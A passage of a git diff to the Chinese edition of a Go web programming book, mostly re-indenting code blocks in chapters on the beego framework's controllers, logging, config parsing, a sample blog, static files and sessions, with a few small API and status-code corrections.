*template.Template - Data map[interface{}]interface{} - ChildName string - TplNames string - Layout []string - TplExt string - } - - type ControllerInterface interface { - Init(ct *Context, cn string) //初始化上下文和子类名称 - Prepare() //开始执行之前的一些处理 - Get() //method=GET的处理 - Post() //method=POST的处理 - Delete() //method=DELETE的处理 - Put() //method=PUT的处理 - Head() //method=HEAD的处理 - Patch() //method=PATCH的处理 - Options() //method=OPTIONS的处理 - Finish() //执行完成之后的处理 - Render() error //执行完method对应的方法之后渲染页面 - } +type Controller struct { + Ct *Context + Tpl *template.Template + Data map[interface{}]interface{} + ChildName string + TplNames string + Layout []string + TplExt string +} + +type ControllerInterface interface { + Init(ct *Context, cn string) //初始化上下文和子类名称 + Prepare() //开始执行之前的一些处理 + Get() //method=GET的处理 + Post() //method=POST的处理 + Delete() //method=DELETE的处理 + Put() //method=PUT的处理 + Head() //method=HEAD的处理 + Patch() //method=PATCH的处理 + Options() //method=OPTIONS的处理 + Finish() //执行完成之后的处理 + Render() error //执行完method对应的方法之后渲染页面 +} ``` 那么前面介绍的路由add函数的时候是定义了ControllerInterface类型,因此,只要我们实现这个接口就可以,所以我们的基类Controller实现如下的方法: ```Go - func (c *Controller) Init(ct *Context, cn string) { - c.Data = make(map[interface{}]interface{}) - c.Layout = make([]string, 0) - c.TplNames = "" - c.ChildName = cn - c.Ct = ct - c.TplExt = "tpl" - } +func (c *Controller) Init(ct *Context, cn string) { + c.Data = make(map[interface{}]interface{}) + c.Layout = make([]string, 0) + c.TplNames = "" + c.ChildName = cn + c.Ct = ct + c.TplExt = "tpl" +} - func (c *Controller) Prepare() { +func (c *Controller) Prepare() { - } +} - func (c *Controller) Finish() { +func (c *Controller) Finish() { - } +} - func (c *Controller) Get() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Get() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Post() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Post() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Delete() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Delete() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Put() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Put() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Head() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Head() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Patch() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Patch() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Options() { - http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) - } +func (c *Controller) Options() { + http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405) +} - func (c *Controller) Render() error { - if len(c.Layout) > 0 { - var filenames []string - for _, file := range c.Layout { - filenames = append(filenames, path.Join(ViewsPath, file)) - } - t, err := template.ParseFiles(filenames...) - if err != nil { - Trace("template ParseFiles err:", err) - } - err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) - if err != nil { - Trace("template Execute err:", err) - } - } else { - if c.TplNames == "" { - c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt - } - t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) - if err != nil { - Trace("template ParseFiles err:", err) - } - err = t.Execute(c.Ct.ResponseWriter, c.Data) - if err != nil { - Trace("template Execute err:", err) - } +func (c *Controller) Render() error { + if len(c.Layout) > 0 { + var filenames []string + for _, file := range c.Layout { + filenames = append(filenames, path.Join(ViewsPath, file)) + } + t, err := template.ParseFiles(filenames...) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames, c.Data) + if err != nil { + Trace("template Execute err:", err) + } + } else { + if c.TplNames == "" { + c.TplNames = c.ChildName + "/" + c.Ct.Request.Method + "." + c.TplExt + } + t, err := template.ParseFiles(path.Join(ViewsPath, c.TplNames)) + if err != nil { + Trace("template ParseFiles err:", err) + } + err = t.Execute(c.Ct.ResponseWriter, c.Data) + if err != nil { + Trace("template Execute err:", err) } - return nil } + return nil +} - func (c *Controller) Redirect(url string, code int) { - c.Ct.Redirect(code, url) - } +func (c *Controller) Redirect(url string, code int) { + c.Ct.Redirect(code, url) +} ``` 上面的controller基类已经实现了接口定义的函数,通过路由根据url执行相应的controller的原则,会依次执行如下: ```Go - Init() 初始化 - Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数 - method() 根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403 - Render() 可选,根据全局变量AutoRender来判断是否执行 - Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数 +Init() 初始化 +Prepare() 执行之前的初始化,每个继承的子类可以来实现该函数 +method() 根据不同的method执行不同的函数:GET、POST、PUT、HEAD等,子类来实现这些函数,如果没实现,那么默认都是403 +Render() 可选,根据全局变量AutoRender来判断是否执行 +Finish() 执行完之后执行的操作,每个继承的子类可以来实现该函数 ``` ## 应用指南 上面beego框架中完成了controller基类的设计,那么我们在我们的应用中可以这样来设计我们的方法: ```Go - package controllers +package controllers - import ( - "github.com/astaxie/beego" - ) +import ( + "github.com/astaxie/beego" +) - type MainController struct { - beego.Controller - } +type MainController struct { + beego.Controller +} - func (this *MainController) Get() { - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.TplNames = "index.tpl" - } +func (this *MainController) Get() { + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.TplNames = "index.tpl" +} ``` -上面的方式我们实现了子类MainController,实现了Get方法,那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回403,而如果是Get来访问,因为我们设置了AutoRender=true,那么在执行完Get方法之后会自动执行Render函数,就会显示如下界面: +上面的方式我们实现了子类MainController,实现了Get方法,那么如果用户通过其他的方式(POST/HEAD等)来访问该资源都将返回405,而如果是Get来访问,因为我们设置了AutoRender=true,那么在执行完Get方法之后会自动执行Render函数,就会显示如下界面: ![](images/13.4.beego.png?raw=true) index.tpl的代码如下所示,我们可以看到数据的设置和显示都是相当的简单方便: ```html - - - - beego welcome template - - -

Hello, world!{{.Username}},{{.Email}}

- - - + + + + beego welcome template + + +

Hello, world!{{.Username}},{{.Email}}

+ + + ``` ## links diff --git a/zh/13.4.md b/zh/13.4.md index bce40ce82..b5c4e9d94 100644 --- a/zh/13.4.md +++ b/zh/13.4.md @@ -9,84 +9,84 @@ beego的日志设计部署思路来自于seelog,根据不同的level来记录日志,但是beego设计的日志系统比较轻量级,采用了系统的log.Logger接口,默认输出到os.Stdout,用户可以实现这个接口然后通过beego.SetLogger设置自定义的输出,详细的实现如下所示: ```Go - - // Log levels to control the logging output. - const ( - LevelTrace = iota - LevelDebug - LevelInfo - LevelWarning - LevelError - LevelCritical - ) - - // logLevel controls the global log level used by the logger. - var level = LevelTrace - - // LogLevel returns the global log level and can be used in - // own implementations of the logger interface. - func Level() int { - return level - } - - // SetLogLevel sets the global log level used by the simple - // logger. - func SetLevel(l int) { - level = l - } + +// Log levels to control the logging output. +const ( + LevelTrace = iota + LevelDebug + LevelInfo + LevelWarning + LevelError + LevelCritical +) + +// logLevel controls the global log level used by the logger. +var level = LevelTrace + +// LogLevel returns the global log level and can be used in +// own implementations of the logger interface. +func Level() int { + return level +} + +// SetLogLevel sets the global log level used by the simple +// logger. +func SetLevel(l int) { + level = l +} ``` 上面这一段实现了日志系统的日志分级,默认的级别是Trace,用户通过SetLevel可以设置不同的分级。 ```Go - // logger references the used application logger. - var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) - - // SetLogger sets a new logger. - func SetLogger(l *log.Logger) { - BeeLogger = l - } - - // Trace logs a message at trace level. - func Trace(v ...interface{}) { - if level <= LevelTrace { - BeeLogger.Printf("[T] %v\n", v) - } +// logger references the used application logger. +var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime) + +// SetLogger sets a new logger. +func SetLogger(l *log.Logger) { + BeeLogger = l +} + +// Trace logs a message at trace level. +func Trace(v ...interface{}) { + if level <= LevelTrace { + BeeLogger.Printf("[T] %v\n", v) } - - // Debug logs a message at debug level. - func Debug(v ...interface{}) { - if level <= LevelDebug { - BeeLogger.Printf("[D] %v\n", v) - } +} + +// Debug logs a message at debug level. +func Debug(v ...interface{}) { + if level <= LevelDebug { + BeeLogger.Printf("[D] %v\n", v) } - - // Info logs a message at info level. - func Info(v ...interface{}) { - if level <= LevelInfo { - BeeLogger.Printf("[I] %v\n", v) - } +} + +// Info logs a message at info level. +func Info(v ...interface{}) { + if level <= LevelInfo { + BeeLogger.Printf("[I] %v\n", v) } - - // Warning logs a message at warning level. - func Warn(v ...interface{}) { - if level <= LevelWarning { - BeeLogger.Printf("[W] %v\n", v) - } +} + +// Warning logs a message at warning level. +func Warn(v ...interface{}) { + if level <= LevelWarning { + BeeLogger.Printf("[W] %v\n", v) } - - // Error logs a message at error level. - func Error(v ...interface{}) { - if level <= LevelError { - BeeLogger.Printf("[E] %v\n", v) - } +} + +// Error logs a message at error level. +func Error(v ...interface{}) { + if level <= LevelError { + BeeLogger.Printf("[E] %v\n", v) } - - // Critical logs a message at critical level. - func Critical(v ...interface{}) { - if level <= LevelCritical { - BeeLogger.Printf("[C] %v\n", v) - } +} + +// Critical logs a message at critical level. +func Critical(v ...interface{}) { + if level <= LevelCritical { + BeeLogger.Printf("[C] %v\n", v) } +} ``` 上面这一段代码默认初始化了一个BeeLogger对象,默认输出到os.Stdout,用户可以通过beego.SetLogger来设置实现了logger的接口输出。这里面实现了六个函数: @@ -121,134 +121,134 @@ beego的日志设计部署思路来自于seelog,根据不同的level来记录 首先定义了一些ini配置文件的一些全局性常量 : ```Go - var ( - bComment = []byte{'#'} - bEmpty = []byte{} - bEqual = []byte{'='} - bDQuote = []byte{'"'} - ) +var ( + bComment = []byte{'#'} + bEmpty = []byte{} + bEqual = []byte{'='} + bDQuote = []byte{'"'} +) ``` 定义了配置文件的格式: ```Go - // A Config represents the configuration. - type Config struct { - filename string - comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. - data map[string]string // key: value - offset map[string]int64 // key: offset; for editing. - sync.RWMutex - } +// A Config represents the configuration. +type Config struct { + filename string + comment map[int][]string // id: []{comment, key...}; id 1 is for main comment. + data map[string]string // key: value + offset map[string]int64 // key: offset; for editing. + sync.RWMutex +} ``` 定义了解析文件的函数,解析文件的过程是打开文件,然后一行一行的读取,解析注释、空行和key=value数据: ```Go - // ParseFile creates a new Config and parses the file configuration from the - // named file. - func LoadConfig(name string) (*Config, error) { - file, err := os.Open(name) - if err != nil { - return nil, err +// ParseFile creates a new Config and parses the file configuration from the +// named file. +func LoadConfig(name string) (*Config, error) { + file, err := os.Open(name) + if err != nil { + return nil, err + } + + cfg := &Config{ + file.Name(), + make(map[int][]string), + make(map[string]string), + make(map[string]int64), + sync.RWMutex{}, + } + cfg.Lock() + defer cfg.Unlock() + defer file.Close() + + var comment bytes.Buffer + buf := bufio.NewReader(file) + + for nComment, off := 0, int64(1); ; { + line, _, err := buf.ReadLine() + if err == io.EOF { + break } - - cfg := &Config{ - file.Name(), - make(map[int][]string), - make(map[string]string), - make(map[string]int64), - sync.RWMutex{}, + if bytes.Equal(line, bEmpty) { + continue } - cfg.Lock() - defer cfg.Unlock() - defer file.Close() - - var comment bytes.Buffer - buf := bufio.NewReader(file) - - for nComment, off := 0, int64(1); ; { - line, _, err := buf.ReadLine() - if err == io.EOF { - break - } - if bytes.Equal(line, bEmpty) { - continue - } - - off += int64(len(line)) - - if bytes.HasPrefix(line, bComment) { - line = bytes.TrimLeft(line, "#") - line = bytes.TrimLeftFunc(line, unicode.IsSpace) - comment.Write(line) - comment.WriteByte('\n') - continue - } - if comment.Len() != 0 { - cfg.comment[nComment] = []string{comment.String()} - comment.Reset() - nComment++ - } - - val := bytes.SplitN(line, bEqual, 2) - if bytes.HasPrefix(val[1], bDQuote) { - val[1] = bytes.Trim(val[1], `"`) - } - - key := strings.TrimSpace(string(val[0])) - cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) - cfg.data[key] = strings.TrimSpace(string(val[1])) - cfg.offset[key] = off + + off += int64(len(line)) + + if bytes.HasPrefix(line, bComment) { + line = bytes.TrimLeft(line, "#") + line = bytes.TrimLeftFunc(line, unicode.IsSpace) + comment.Write(line) + comment.WriteByte('\n') + continue } - return cfg, nil + if comment.Len() != 0 { + cfg.comment[nComment] = []string{comment.String()} + comment.Reset() + nComment++ + } + + val := bytes.SplitN(line, bEqual, 2) + if bytes.HasPrefix(val[1], bDQuote) { + val[1] = bytes.Trim(val[1], `"`) + } + + key := strings.TrimSpace(string(val[0])) + cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key) + cfg.data[key] = strings.TrimSpace(string(val[1])) + cfg.offset[key] = off } + return cfg, nil +} ``` 下面实现了一些读取配置文件的函数,返回的值确定为bool、int、float64或string: ```Go - // Bool returns the boolean value for a given key. - func (c *Config) Bool(key string) (bool, error) { - return strconv.ParseBool(c.data[key]) - } - - // Int returns the integer value for a given key. - func (c *Config) Int(key string) (int, error) { - return strconv.Atoi(c.data[key]) - } - - // Float returns the float value for a given key. - func (c *Config) Float(key string) (float64, error) { - return strconv.ParseFloat(c.data[key], 64) - } - - // String returns the string value for a given key. - func (c *Config) String(key string) string { - return c.data[key] - } +// Bool returns the boolean value for a given key. +func (c *Config) Bool(key string) (bool, error) { + return strconv.ParseBool(c.data[key]) +} + +// Int returns the integer value for a given key. +func (c *Config) Int(key string) (int, error) { + return strconv.Atoi(c.data[key]) +} + +// Float returns the float value for a given key. +func (c *Config) Float(key string) (float64, error) { + return strconv.ParseFloat(c.data[key], 64) +} + +// String returns the string value for a given key. +func (c *Config) String(key string) string { + return c.data[key] +} ``` ## 应用指南 下面这个函数是我一个应用中的例子,用来获取远程url地址的json数据,实现如下: ```Go - func GetJson() { - resp, err := http.Get(beego.AppConfig.String("url")) - if err != nil { - beego.Critical("http get info error") - return - } - defer resp.Body.Close() - body, err := ioutil.ReadAll(resp.Body) - err = json.Unmarshal(body, &AllInfo) - if err != nil { - beego.Critical("error:", err) - } +func GetJson() { + resp, err := http.Get(beego.AppConfig.String("url")) + if err != nil { + beego.Critical("http get info error") + return } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + err = json.Unmarshal(body, &AllInfo) + if err != nil { + beego.Critical("error:", err) + } +} ``` 函数中调用了框架的日志函数`beego.Critical`函数用来报错,调用了`beego.AppConfig.String("url")`用来获取配置文件中的信息,配置文件的信息如下(app.conf): ```Go - appname = hs - url ="http://www.api.com/api.html" - +appname = hs +url ="http://www.api.com/api.html" + ``` ## links * [目录]() diff --git a/zh/13.5.md b/zh/13.5.md index 9a64f1308..9cd2f12a9 100644 --- a/zh/13.5.md +++ b/zh/13.5.md @@ -26,173 +26,173 @@ 博客主要的路由规则如下所示: ```Go - //显示博客首页 - beego.Router("/", &controllers.IndexController{}) - //查看博客详细信息 - beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) - //新建博客博文 - beego.Router("/new", &controllers.NewController{}) - //删除博文 - beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) - //编辑博文 - beego.Router("/edit/:id([0-9]+)", &controllers.EditController{}) +//显示博客首页 +beego.Router("/", &controllers.IndexController{}) +//查看博客详细信息 +beego.Router("/view/:id([0-9]+)", &controllers.ViewController{}) +//新建博客博文 +beego.Router("/new", &controllers.NewController{}) +//删除博文 +beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{}) +//编辑博文 +beego.Router("/edit/:id([0-9]+)", &controllers.EditController{}) ``` ## 数据库结构 数据库设计最简单的博客信息 ```sql - CREATE TABLE entries ( - id INT AUTO_INCREMENT, - title TEXT, - content TEXT, - created DATETIME, - primary key (id) - ); +CREATE TABLE entries ( + id INT AUTO_INCREMENT, + title TEXT, + content TEXT, + created DATETIME, + primary key (id) +); ``` ## 控制器 IndexController: ```Go - type IndexController struct { - beego.Controller - } +type IndexController struct { + beego.Controller +} - func (this *IndexController) Get() { - this.Data["blogs"] = models.GetAll() - this.Layout = "layout.tpl" - this.TplNames = "index.tpl" - } +func (this *IndexController) Get() { + this.Data["blogs"] = models.GetAll() + this.Layout = "layout.tpl" + this.TplName = "index.tpl" +} ``` ViewController: ```Go - type ViewController struct { - beego.Controller - } +type ViewController struct { + beego.Controller +} - func (this *ViewController) Get() { - id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) - this.Data["Post"] = models.GetBlog(id) - this.Layout = "layout.tpl" - this.TplNames = "view.tpl" - } +func (this *ViewController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplName = "view.tpl" +} ``` NewController ```Go - type NewController struct { - beego.Controller - } - - func (this *NewController) Get() { - this.Layout = "layout.tpl" - this.TplNames = "new.tpl" - } - - func (this *NewController) Post() { - inputs := this.Input() - var blog models.Blog - blog.Title = inputs.Get("title") - blog.Content = inputs.Get("content") - blog.Created = time.Now() - models.SaveBlog(blog) - this.Ctx.Redirect(302, "/") - } +type NewController struct { + beego.Controller +} + +func (this *NewController) Get() { + this.Layout = "layout.tpl" + this.TplName = "new.tpl" +} + +func (this *NewController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} ``` EditController ```Go - type EditController struct { - beego.Controller - } - - func (this *EditController) Get() { - id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) - this.Data["Post"] = models.GetBlog(id) - this.Layout = "layout.tpl" - this.TplNames = "edit.tpl" - } - - func (this *EditController) Post() { - inputs := this.Input() - var blog models.Blog - blog.Id, _ = strconv.Atoi(inputs.Get("id")) - blog.Title = inputs.Get("title") - blog.Content = inputs.Get("content") - blog.Created = time.Now() - models.SaveBlog(blog) - this.Ctx.Redirect(302, "/") - } +type EditController struct { + beego.Controller +} + +func (this *EditController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"]) + this.Data["Post"] = models.GetBlog(id) + this.Layout = "layout.tpl" + this.TplName = "edit.tpl" +} + +func (this *EditController) Post() { + inputs := this.Input() + var blog models.Blog + blog.Id, _ = strconv.Atoi(inputs.Get("id")) + blog.Title = inputs.Get("title") + blog.Content = inputs.Get("content") + blog.Created = time.Now() + models.SaveBlog(blog) + this.Ctx.Redirect(302, "/") +} ``` DeleteController ```Go - type DeleteController struct { - beego.Controller - } - - func (this *DeleteController) Get() { - id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"]) - blog := models.GetBlog(id) - this.Data["Post"] = blog - models.DelBlog(blog) - this.Ctx.Redirect(302, "/") - } +type DeleteController struct { + beego.Controller +} + +func (this *DeleteController) Get() { + id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"]) + blog := models.GetBlog(id) + this.Data["Post"] = blog + models.DelBlog(blog) + this.Ctx.Redirect(302, "/") +} ``` ## model层 ```Go - package models - - import ( - "database/sql" - "github.com/astaxie/beedb" - _ "github.com/ziutek/mymysql/godrv" - "time" - ) - - type Blog struct { - Id int `PK` - Title string - Content string - Created time.Time - } - - func GetLink() beedb.Model { - db, err := sql.Open("mymysql", "blog/astaxie/123456") - if err != nil { - panic(err) - } - orm := beedb.New(db) - return orm - } - - func GetAll() (blogs []Blog) { - db := GetLink() - db.FindAll(&blogs) - return - } - - func GetBlog(id int) (blog Blog) { - db := GetLink() - db.Where("id=?", id).Find(&blog) - return - } - - func SaveBlog(blog Blog) (bg Blog) { - db := GetLink() - db.Save(&blog) - return bg - } - - func DelBlog(blog Blog) { - db := GetLink() - db.Delete(&blog) - return +package models + +import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + "time" +) + +type Blog struct { + Id int `PK` + Title string + Content string + Created time.Time +} + +func GetLink() beedb.Model { + db, err := sql.Open("mymysql", "blog/astaxie/123456") + if err != nil { + panic(err) } + orm := beedb.New(db) + return orm +} + +func GetAll() (blogs []Blog) { + db := GetLink() + db.FindAll(&blogs) + return +} + +func GetBlog(id int) (blog Blog) { + db := GetLink() + db.Where("id=?", id).Find(&blog) + return +} + +func SaveBlog(blog Blog) (bg Blog) { + db := GetLink() + db.Save(&blog) + return bg +} + +func DelBlog(blog Blog) { + db := GetLink() + db.Delete(&blog) + return +} ``` ## view层 @@ -200,75 +200,75 @@ DeleteController layout.tpl ```html - - - My Blog - - - - - - - {{.LayoutContent}} - - - + + + My Blog + + + + + + +{{.LayoutContent}} + + + ``` index.tpl ```html -

Blog posts

- - +

Blog posts

+ + ``` view.tpl ```html -

{{.Post.Title}}

- {{.Post.Created}}
+

{{.Post.Title}}

+{{.Post.Created}}
- {{.Post.Content}} +{{.Post.Content}} ``` new.tpl ```html -

New Blog Post

-
- 标题:
- 内容: - -
+

New Blog Post

+
+标题:
+内容: + +
``` edit.tpl ```html -

Edit {{.Post.Title}}

+

Edit {{.Post.Title}}

-

New Blog Post

-
- 标题:
- 内容: - - -
+

New Blog Post

+
+标题:
+内容: + + +
``` ## links * [目录]() diff --git a/zh/13.6.md b/zh/13.6.md index 209b3f29f..a2a250c54 100644 --- a/zh/13.6.md +++ b/zh/13.6.md @@ -1,7 +1,7 @@ -# 13.6 小结 -这一章我们主要介绍了如何实现一个基础的Go语言框架,框架包含有路由设计,由于Go内置的http包中路由的一些不足点,我们设计了动态路由规则,然后介绍了MVC模式中的Controller设计,controller实现了REST的实现,这个主要思路来源于tornado框架,然后设计实现了模板的layout以及自动化渲染等技术,主要采用了Go内置的模板引擎,最后我们介绍了一些辅助的日志、配置等信息的设计,通过这些设计我们实现了一个基础的框架beego,目前该框架已经开源在github,最后我们通过beego实现了一个博客系统,通过实例代码详细的展现了如何快速的开发一个站点。 - -## links - * [目录]() - * 上一章: [实现博客的增删改](<13.5.md>) - * 下一节: [扩展Web框架](<14.0.md>) \ No newline at end of file +# 13.6 小结 +这一章我们主要介绍了如何实现一个基础的Go语言框架,框架包含有路由设计,由于Go内置的http包中路由的一些不足点,我们设计了动态路由规则,然后介绍了MVC模式中的Controller设计,controller实现了REST的实现,这个主要思路来源于tornado框架,然后设计实现了模板的layout以及自动化渲染等技术,主要采用了Go内置的模板引擎,最后我们介绍了一些辅助的日志、配置等信息的设计,通过这些设计我们实现了一个基础的框架beego,目前该框架已经开源在GitHub,最后我们通过beego实现了一个博客系统,通过实例代码详细的展现了如何快速的开发一个站点。 + +## links + * [目录]() + * 上一章: [实现博客的增删改](<13.5.md>) + * 下一节: [扩展Web框架](<14.0.md>) diff --git a/zh/14.1.md b/zh/14.1.md index 91587ec66..4a9aa8b16 100644 --- a/zh/14.1.md +++ b/zh/14.1.md @@ -5,22 +5,22 @@ Go的net/http包中提供了静态文件的服务,`ServeFile`和`FileServer`等函数。beego的静态文件处理就是基于这一层处理的,具体的实现如下所示: ```Go - //static file server - for prefix, staticDir := range StaticDir { - if strings.HasPrefix(r.URL.Path, prefix) { - file := staticDir + r.URL.Path[len(prefix):] - http.ServeFile(w, r, file) - w.started = true - return - } +//static file server +for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + w.started = true + return } +} ``` StaticDir里面保存的是相应的url对应到静态文件所在的目录,因此在处理URL请求的时候只需要判断对应的请求地址是否包含静态处理开头的url,如果包含的话就采用http.ServeFile提供服务。 举例如下: ```Go - beego.StaticDir["/asset"] = "/static" +beego.StaticDir["/asset"] = "/static" ``` 那么请求url如`http://www.beego.me/asset/bootstrap.css`就会请求`/static/bootstrap.css`来提供反馈给客户端。 @@ -51,20 +51,20 @@ Bootstrap是Twitter推出的一个开源的用于前端开发的工具包。对 2. 因为beego默认设置了StaticDir的值,所以如果你的静态文件目录是static的话就无须再增加了: ```Go - StaticDir["/static"] = "static" +StaticDir["/static"] = "static" ``` 3. 模板中使用如下的地址就可以了: ```html - //css文件 - - - //js文件 - - - //图片文件 - + //css文件 + + + //js文件 + + + //图片文件 + ``` 上面可以实现把bootstrap集成到beego中来,如下展示的图就是集成进来之后的展现效果图: diff --git a/zh/14.2.md b/zh/14.2.md index 5294244ae..5a2e31fb8 100644 --- a/zh/14.2.md +++ b/zh/14.2.md @@ -5,56 +5,56 @@ beego中主要有以下的全局变量来控制session处理: ```Go - //related to session - SessionOn bool // 是否开启session模块,默认不开启 - SessionProvider string // session后端提供处理模块,默认是sessionManager支持的memory - SessionName string // 客户端保存的cookies的名称 - SessionGCMaxLifetime int64 // cookies有效期 +//related to session +SessionOn bool // 是否开启session模块,默认不开启 +SessionProvider string // session后端提供处理模块,默认是sessionManager支持的memory +SessionName string // 客户端保存的cookies的名称 +SessionGCMaxLifetime int64 // cookies有效期 - GlobalSessions *session.Manager //全局session控制器 +GlobalSessions *session.Manager //全局session控制器 ``` 当然上面这些变量需要初始化值,也可以按照下面的代码来配合配置文件以设置这些值: ```Go - if ar, err := AppConfig.Bool("sessionon"); err != nil { - SessionOn = false - } else { - SessionOn = ar - } - if ar := AppConfig.String("sessionprovider"); ar == "" { - SessionProvider = "memory" - } else { - SessionProvider = ar - } - if ar := AppConfig.String("sessionname"); ar == "" { - SessionName = "beegosessionID" - } else { - SessionName = ar - } - if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { - int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) - SessionGCMaxLifetime = int64val - } else { - SessionGCMaxLifetime = 3600 - } +if ar, err := AppConfig.Bool("sessionon"); err != nil { + SessionOn = false +} else { + SessionOn = ar +} +if ar := AppConfig.String("sessionprovider"); ar == "" { + SessionProvider = "memory" +} else { + SessionProvider = ar +} +if ar := AppConfig.String("sessionname"); ar == "" { + SessionName = "beegosessionID" +} else { + SessionName = ar +} +if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 { + int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64) + SessionGCMaxLifetime = int64val +} else { + SessionGCMaxLifetime = 3600 +} ``` 在beego.Run函数中增加如下代码: ```Go - if SessionOn { - GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) - go GlobalSessions.GC() - } +if SessionOn { + GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime) + go GlobalSessions.GC() +} ``` 这样只要SessionOn设置为true,那么就会默认开启session功能,独立开一个goroutine来处理session。 为了方便我们在自定义Controller中快速使用session,作者在`beego.Controller`中提供了如下方法: ```Go - func (c *Controller) StartSession() (sess session.Session) { - sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) - return - } +func (c *Controller) StartSession() (sess session.Session) { + sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request) + return +} ``` ## session使用 通过上面的代码我们可以看到,beego框架简单地继承了session功能,那么在项目中如何使用呢? @@ -62,28 +62,28 @@ beego中主要有以下的全局变量来控制session处理: 首先我们需要在应用的main入口处开启session: ```Go - beego.SessionOn = true +beego.SessionOn = true ``` 然后我们就可以在控制器的相应方法中如下所示的使用session了: ```Go - func (this *MainController) Get() { - var intcount int - sess := this.StartSession() - count := sess.Get("count") - if count == nil { - intcount = 0 - } else { - intcount = count.(int) - } - intcount = intcount + 1 - sess.Set("count", intcount) - this.Data["Username"] = "astaxie" - this.Data["Email"] = "astaxie@gmail.com" - this.Data["Count"] = intcount - this.TplNames = "index.tpl" +func (this *MainController) Get() { + var intcount int + sess := this.StartSession() + count := sess.Get("count") + if count == nil { + intcount = 0 + } else { + intcount = count.(int) } + intcount = intcount + 1 + sess.Set("count", intcount) + this.Data["Username"] = "astaxie" + this.Data["Email"] = "astaxie@gmail.com" + this.Data["Count"] = intcount + this.TplNames = "index.tpl" +} ``` 上面的代码展示了如何在控制逻辑中使用session,主要分两个步骤: @@ -91,19 +91,19 @@ beego中主要有以下的全局变量来控制session处理: ```Go - //获取对象,类似PHP中的session_start() - sess := this.StartSession() + //获取对象,类似PHP中的session_start() + sess := this.StartSession() ``` 2. 使用session进行一般的session值操作 ```Go - //获取session值,类似PHP中的$_SESSION["count"] - sess.Get("count") - - //设置session值 - sess.Set("count", intcount) + //获取session值,类似PHP中的$_SESSION["count"] + sess.Get("count") + + //设置session值 + sess.Set("count", intcount) ``` 从上面代码可以看出基于beego框架开发的应用中使用session相当方便,基本上和PHP中调用`session_start()`类似。 diff --git a/zh/14.3.md b/zh/14.3.md index 600f0bd7c..f3b4476d4 100644 --- a/zh/14.3.md +++ b/zh/14.3.md @@ -23,43 +23,43 @@ 首先定义一个开发Web应用时相对应的struct,一个字段对应一个form元素,通过struct的tag来定义相应的元素信息和验证信息,如下所示: ```Go - type User struct{ - Username string `form:text,valid:required` - Nickname string `form:text,valid:required` - Age int `form:text,valid:required|numeric` - Email string `form:text,valid:required|valid_email` - Introduce string `form:textarea` - } +type User struct{ + Username string `form:text,valid:required` + Nickname string `form:text,valid:required` + Age int `form:text,valid:required|numeric` + Email string `form:text,valid:required|valid_email` + Introduce string `form:textarea` +} ``` 定义好struct之后接下来在controller中这样操作 ```Go - func (this *AddController) Get() { - this.Data["form"] = beego.Form(&User{}) - 